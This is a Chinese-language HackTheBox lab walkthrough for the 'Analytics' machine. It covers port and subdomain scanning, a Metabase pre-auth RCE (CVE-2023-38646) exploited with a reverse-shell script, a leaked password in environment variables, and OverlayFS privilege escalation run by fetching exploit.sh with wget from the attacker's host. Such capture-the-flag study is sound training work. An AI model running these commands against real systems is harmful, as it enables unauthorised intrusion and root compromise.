【HackTheBox】- Analytics 靶机学习
目录
难度:Easy
OS:Linux
1. Task 1
Task 1:How many open TCP ports are listening on Analytics?
分析:
快速扫描全端口:rustscan -a 10.129.229.224 -r 1-65535

开放了 22 和 80 端口。再用nmap扫描这两个端口:nmap -p22,80 -AO -sV -sT 10.129.229.224

所以答案是:2
2. Task 2
Task 2:What subdomain is configured to provide a different application on the target web server?
在目标 Web 服务器上配置了哪个子域名以提供不同的应用程序?
分析:
在浏览器中访问80端口:http://10.129.229.224:80
访问失败,可以看到跳转到了:http://analytical.htb/
修改 /etc/hosts 文件,在后面添加:10.129.229.224 analytical.htb
再次在浏览器中访问域名。

点击右上角的login时,会自动跳转到 http://data.analytical.htb/ 。
还是无法访问,修改 /etc/hosts 文件,最终效果:10.129.229.224 analytical.htb data.analytical.htb
再次点击 login,可以跳转并访问:

所以答案是:data.analytical.htb
也可以用子域名扫描工具:gobuster vhost -w /usr/share/wordlists/amass/subdomains-top1mil-5000.txt -u http://analytical.htb -t 30 --append-domain

3. Task 3
Task 3:What application is running on data.analytical.htb?
data.analytical.htb域名上运行的什么应用程序。
分析:从上面的截图中就可以看到。
所以答案是:Metabase
4. Task 4
Task 4:What version of Metabase is the target running?
Metabase是什么版本。
分析:
指纹探测:whatweb http://data.analytical.htb/auth/login?redirect=%2F
没有版本信息。
打开bp抓包,在响应中搜索 version,可以看到版本信息:
所以答案是:v0.46.6
5. Task 5
Task 5:What is the 2023 CVE ID assigned to the pre-authentication, remote code execution vulnerability in this version of Metabase?
在此版本的 Metabase 中,分配给该预认证远程代码执行漏洞的 2023 年 CVE ID 是什么?
分析:
搜索 Metabase 相关的漏洞:searchsploit Metabase

脚本的完整路径:/usr/share/exploitdb/exploits/linux/webapps/51797.py
把脚本复制到桌面上:cp /usr/share/exploitdb/exploits/linux/webapps/51797.py .
查看脚本内容即可发现CVE编号:

所以答案是:CVE-2023-38646
6. Task 6
Task 6:What is the value of the setup-token used by this Metabase instance?
这个 Metabase 实例使用的 setup-token 的值是多少?
分析:
查找了一些 Metabase 和 setup-token 的信息:
setup-token 是 Metabase 在初始化/设置流程中使用的一个短期令牌(token),用于把前端的“创建管理员/初始化实例”请求和后端的初始化流程绑定起来,防止随意提交初始化表单。你可以把它看成“第一次启动时的临时密钥”。注:Metabase 的设计是初始化完成后这个 token 应该被清空/不可用,但历史上某些版本存在实现缺陷,导致 token 在实例可访问时仍能被读取,从而被利用。
GET 方式访问 Metabase 的 API: /api/session/properties
在响应中直接搜索 setup-token:

所以答案是:249fa03d-fd94-4d5b-b94f-b4ebf3df681f
也可以直接在命令行中:curl -s http://data.analytical.htb/api/session/properties | grep 'setup-token'

7. Task 7
Task 7:Which Metabase API endpoint is used to execute arbitrary commands using the token?
哪个 Metabase API 端点用于使用令牌执行任意命令?
分析:
前面找到一个cve,从网上查询这个漏洞的相关信息。
/api/setup/validate 接口可以用来执行命令,并且需要提供token。
所以答案是:/api/setup/validate
8. Task 8
Task 8:Which user is the Metabase application running as?
Metabase 应用程序以哪个用户身份运行?
分析:
利用前面得到的脚本。查看脚本的内容,主要做了以下工作:
- 读取目标 Metabase 的
GET /api/session/properties来抓setup-token。 - 使用构造的 JSON payload 反复
POST /api/setup/validate,触发 Metabase 在服务器端执行的 H2/jdbc trigger 注入,从而让目标去请求你搭建的 HTTP 服务/exploitable。 - 脚本会在本地启动一个小 HTTP 服务(参数
-sport),当目标请求/exploitable时,会返回一个 base64 编码的输出(脚本后续把这个 base64 解码并打印),并进入交互式 shell,可以向目标下命令(脚本会再次通过 payload 让目标下载并执行脚本),最终把命令输出回连到你的-lport监听端口上。 - 必需参数:
-l,-lhost:反弹ip。-p,-lport:反弹端口。-P,-sport:脚本内置的 HTTP 服务器绑定端口(脚本会在该端口启动一个简单 HTTP 服务并响应/exploitable)。目标被触发后会去请求http://<lhost>:<sport>/exploitable。-u,-url:目标 Metabase 的 URL,例如http://analytical.htb或http://10.129.229.224(不要以/结尾,脚本会自动去掉尾部的/)。
执行脚本:python3 51797.py -u http://data.analytical.htb -P 9999 -l 10.10.16.6 -p 8888
(脚本中指明了是 python3:#!/usr/bin/env python3)

从上图可以看出,当前用户是:metabase
9. Task 9
Task 9:Which environment variable contains the password for the metalytics user?
哪个环境变量包含 metalytics 用户的密码?
分析:
输出当前已设置的所有的环境变量:printenv

META_USER=metalytics
META_PASS=An4lytics_ds20223#
所以答案是:META_PASS
10. Task 10
Task 10:Submit the flag located in the metalytics user’s home directory.
提交metalytics用户家目录的flag。
分析:
前面探测端口的时候还发现目标服务器开了22端口,ssh服务。
尝试ssh连接:ssh metalytics@10.129.229.224

查看flag:

11. Task 11
Task 11:What kernel version is installed on the host system?
主机的内核版本。
分析:
执行命令:uname -a

信息:
| 部分 | 含义 |
|---|---|
Linux |
操作系统内核类型 |
analytics |
主机名(hostname) |
6.2.0-25-generic |
内核版本号 |
#25~22.04.2-Ubuntu |
内核构建号/版本信息 |
SMP PREEMPT_DYNAMIC |
内核编译选项(SMP = 多核支持, PREEMPT_DYNAMIC = 动态抢占) |
Wed Jun 28 09:55:23 UTC 2 |
内核编译时间 |
x86_64 x86_64 x86_64 |
硬件架构信息(CPU 架构 / 处理器类型 / 操作系统位数) |
GNU/Linux |
操作系统类型 |
所以答案是内核版本:6.2.0-25-generic
12. Task 12
Task 12:What Ubuntu release is the system running? The answer is of the format “.”.
系统运行的Ubuntu版本。
分析:
查看发行版本相关的信息:lsb_release -a

答案:22.04
13. Task 13
Task 13:What component used by the Ubuntu operating system on the target system is vulnerable to a privileges escalation vulnerability assigned two 2023 CVEs?
在目标系统上,Ubuntu 操作系统使用的哪个组件存在权限提升漏洞,该漏洞被分配了两个 2023 年的 CVE?
分析:
Ubuntu 22.04.2系统存在已知的本地权限提升漏洞:
- CVE-2023-2640: GameOverlay FS权限提升漏洞
- CVE-2023-32629: 本地权限提升漏洞
找到相关的信息:
https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629/tree/main
https://cloud.tencent.com/developer/article/2332548
从相关信息中可以看出,漏洞产生在OverlayFS组件。所以答案:OverlayFS
14. Task 14
Task 14:Submit the flag located in the root user’s home directory.
分析:
前面github中有脚本:https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629/tree/main
先在kali中下载:git clone https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629.git
进入有sh脚本的目录中,开一个http服务:python3 -m http.server 8888

进入目标主机的 /tmp 目录,在目标主机中下载脚本:wget http://10.10.16.6:8888/exploit.sh
给执行权限:chmod +x exploit.sh
执行成功即可获取root权限。

15. 总结
都是比较基础的,如何获取信息的题目较多。
更多推荐

所有评论(0)